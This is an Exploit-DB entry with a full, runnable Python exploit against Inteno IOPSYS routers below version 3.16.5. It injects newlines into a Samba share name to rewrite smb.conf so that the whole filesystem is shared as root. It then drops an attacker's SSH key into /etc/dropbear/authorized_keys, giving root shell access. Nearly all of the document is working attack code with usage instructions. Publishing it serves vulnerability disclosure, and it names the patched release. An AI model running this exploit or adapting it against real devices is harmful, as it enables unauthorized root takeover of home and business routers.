Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated)

EDB-ID:

49438

CVE:

N/A




Platform:

Hardware

Date:

2021-01-18


# Exploit Title: Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated)
# Date: 2020-03-29
# Exploit Author: Henrik Pedersen
# Vendor Homepage: https://intenogroup.com/
# Version: Iopsys <3.16.5
# Fixed Version: Iopsys 3.16.5
# Tested on: Kali Linux 2020.4 against an Inteno DG200 Router

# Description:
# It was possible to add newlines to nearly any of the samba share options when creating a new Samba share in Inteno’s Iopsys routers before 3.16.5. This made it possible to change the configurations in smb.conf, giving root access to the filesystem.

# Patch in release
# notes: https://dev.iopsys.eu/iopsys/iopsyswrt/blob/9d2366785d5a7d896359436149c2dbd3caec1a8e/releasenotes/release-notes-IOP-OS-version-3.16.x.txt

# Exploit writeup: https://xistens.gitlab.io/xistens/exploits/iopsys-root-filesystem-access/

#!/usr/bin/python3
import json
import sys
import os
import time
import argparse
from websocket import create_connection
from impacket.smbconnection import SMBConnection
from impacket.examples.smbclient import MiniImpacketShell

"""
Root filesystem access via sambashare name configuration option in Inteno's Iopsys < 3.16.5

Usage: smbexploit.py -u <username> -p <password> -k <path/to/id_rsa.pub> <host>

Requires:
impacket
websocket-client

On Windows:
pyreadline

"""

def ubusAuth(host, username, password):
    """
    https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py
    """
    ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({
        "jsonrpc": "2.0", "method": "call",
        "params": [
            "00000000000000000000000000000000","session","login",
            {"username": username,"password": password}
        ],
        "id": 666
    })
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return None
    return key

def ubusCall(host, key, namespace, argument, params={}):
    """
    https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py
    """
    ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc": "2.0", "method": "call",
        "params": [key,namespace,argument,params],
        "id": 666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return True
        return None
    return result

def auth(host, user, password):
    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("[-] Auth failed!")
        sys.exit(1)
    print(f"[+] Auth successful")
    return key

def smb_put(args):
    username = ""
    password = ""

    try:
        smbClient = SMBConnection(args.host, args.host, sess_port=445)
        smbClient.login(username, password, args.host)

        print("Reading SSH key")
        try:
            with open(args.key_path, "r") as fd:
                sshkey = fd.read()
        except IOError:
            print(f"[-] Error reading {args.sshkey}")
        
        print("Creating temp file for authorized_keys")
        try:
            with open("authorized_keys", "w") as fd:
                fd.write(sshkey)
                path = os.path.realpath(fd.name)
        except IOError:
            print("[-] Error creating authorized_keys")

        shell = MiniImpacketShell(smbClient)
        shell.onecmd("use pwned")
        shell.onecmd("cd /etc/dropbear")
        shell.onecmd(f"put {fd.name}") 

        print("Cleaning up...")
        os.remove(path)
    except Exception as e:
        print("[-] Error connecting to SMB share:")
        print(str(e))
        sys.exit(1)

def main(args):
    payload = "pwned]\npath=/\nguest ok=yes\nbrowseable=yes\ncreate mask=0755\nwriteable=yes\nforce user=root\n[abc"
    key = auth(args.host, args.user, args.passwd)
    print("Adding Samba share...")
    smbcheck = json.dumps(ubusCall(args.host, key, "uci", "get", {"config":"samba"}))
    if "pwned" in smbcheck:
        print("[*] Samba share seems to already exist, skipping")
    else:
        smba = ubusCall(args.host, key, "uci", "add", {
                "config": "samba", 
                "type":"sambashare", 
                "values": {
                    "name": payload, 
                    "read_only": "no", 
                    "create_mask":"0775", 
                    "dir_mask":"0775",
                    "path": "/mnt/", 
                    "guest_ok": "yes"
                    }
            })
        if not smba:
            print("[-] Adding Samba share failed!")
            sys.exit(1)

    print("Enabling Samba...")
    smbe = ubusCall(args.host, key, "uci", "set",
        {"config":"samba", "type":"samba", "values":
        {"interface":"lan"}})
    if not smbe:
        print("[-] Enabling Samba failed!")
        sys.exit(1)

    print("Committing changes...")
    smbc = ubusCall(args.host, key, "uci", "commit",
        {"config":"samba"})
    if not smbc:
        print("[-] Committing changes failed!")
        sys.exit(1)
    
    if args.key_path:
        # Allow the service to start
        time.sleep(2)
        smb_put(args)
        print(f"[+] Exploit complete. Try \"ssh -i id_rsa root@{args.host}\"")
    else:
        print("[+] Exploit complete, SMB share added.")

def parse_args(args):
    """ Create the arguments """
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", dest="user", help="Username", default="user")
    parser.add_argument("-p", dest="passwd", help="Password", default="user")
    parser.add_argument("-k", dest="key_path", help="Public ssh key path")
    parser.add_argument(dest="host", help="Target host")

    if len(sys.argv) < 2:
        parser.print_help()
        sys.exit(1)

    return parser.parse_args(args)

if __name__ == "__main__":
    main(parse_args(sys.argv[1:]))